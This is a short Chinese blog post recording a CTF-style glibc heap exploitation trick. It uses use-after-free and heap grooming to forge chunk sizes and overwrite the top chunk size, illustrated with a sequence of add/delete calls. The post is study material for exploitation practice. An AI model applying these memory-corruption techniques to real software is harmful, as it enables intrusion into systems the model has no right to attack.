UAF改top chunk size

UAF改top chunk size

之前我以为想改top chunk size要通过UAF并且加上edit的功能才可以实现。前几天我看到一个纯利用堆风水实现修改top chunk的方法才恍然大悟,在此记录一下。

举个例子,堆布局如下:

add(0, 0x420, b'a')
add(1, 0x420, b'a')
add(2, 0x420, b'a')

delete(0)
delete(1)
delete(2)

add(3, 0x430, b'a'*0x420 + p64(0) + p64(0x441))
add(4, 0x430, b'b'*0x420 + p64(0) + p64(0x421))

delete(4)
delete(1)

add(5, 0x430, p64(0) + p64(0x233))

本质也就是通过伪造两个size,使得可以通过UAF释放一个fake_chunkbins。然后再申请回来即可以修改top chunk size

posted @ 2022-08-08 08:55  狒猩橙  阅读(105)  评论(0编辑  收藏  举报